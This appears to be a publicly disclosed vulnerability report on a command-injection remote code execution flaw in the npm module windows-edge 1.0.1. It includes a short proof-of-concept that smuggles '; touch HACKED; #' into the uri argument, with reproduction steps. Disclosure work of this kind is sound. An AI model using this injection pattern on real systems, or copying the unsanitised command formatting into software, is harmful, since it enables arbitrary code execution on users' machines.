Node.js third-party modules · Report #878420
[windows-edge] RCE via insecure command formatting
Validstatus
criticalseverity
3upvotes
24 Aug 2020disclosed
How it was found
I would like to report a RCE issue in the windows-edge module.
It allows to execute arbitrary commands remotely inside the victim's PC
Module
module name: windows-edge
version: 1.0.1
npm page: https://www.npmjs.com/package/windows-edge
Module Description
Launch a new Microsoft Edge tab on Windows
Module Stats
[102] downloads in the last week
Vulnerability Description
The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/eugeneware/windows-edge/blob/master/index.js#L8
Steps To Reproduce:
- Create the following PoC file:
// poc.js
const edge = require('windows-edge');
edge({ uri: 'https://github.com/; touch HACKED; #' }, (err, ps) => {})
- Check there aren't files called
HACKED - Execute the following commands in another terminal:
npm i windows-edge # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKEDhas been created :) {F835199}
Patch
Don't format
commandsusing insecureuser's inputs:)
Supporting Material/References:
- [OPERATING SYSTEM VERSION]: Kali Linux
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
RCE via command formatting on windows-edge